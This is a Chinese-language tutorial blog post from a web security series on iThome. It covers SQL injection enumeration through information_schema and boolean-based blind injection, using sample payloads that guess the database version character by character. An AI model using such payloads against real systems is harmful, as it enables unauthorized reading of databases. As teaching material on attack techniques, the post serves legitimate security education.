iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 9
2
Security

Web Security 魔法使攻略系列 第 9

Web Security 魔法使攻略─SQLI II

正文

  • 昨天介紹了三個連續攻擊的招式
    • SELECT schema_name FROM information_schema.schemata
    • SELECT table_name FROM information_schema.tables WHERE table_schema='資料庫名稱'
    • SELECT column_name FROM information_schema.columns WHERE table_name='表名稱'
  • 再來
    • SELECT 欄位名稱 Form 資料庫.表格名稱

Boolean Based SQL Injection

如果打 Sqli 的時候,不會出現資料,但是會出現不存在或是噴錯或是全空白的情形
你可以很明確的看出來你打的弱點有正確跟錯誤的頁面
這時候你可以一些方法來檢測

  • 利用二分搜尋法找 ascii 的範圍
    • 假設猜測資料庫的版本為5
      • 輸入欄位 0' and substring(version(),1,1)=5--
      • SQL 於後台查詢
      SELECT * FROM name WHERE ID='0' and substring(version(), 1,1)=5-- ' LIMIT 0,1; 
      
      • 沒資料輸出
    • 猜測主版本為 6
      • 輸入欄位 0' and substring(version(),1,1)=6--
      • SQL 於後台查詢
      SELECT * FROM name WHERE ID='0' and substring(version(), 1,1)=6-- ' LIMIT 0,1;
      
      • 輸入 name: user
      • 可以得知版本為 6
  • 透過這種方式去進行猜測

推薦閱讀

https://www.slideshare.net/hugolu/sql-injection-61608454


上一篇
Web Security 魔法使攻略─SQL injection 起手式
下一篇
Web Security 魔法使攻略─SQLI III
系列文
Web Security 魔法使攻略30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言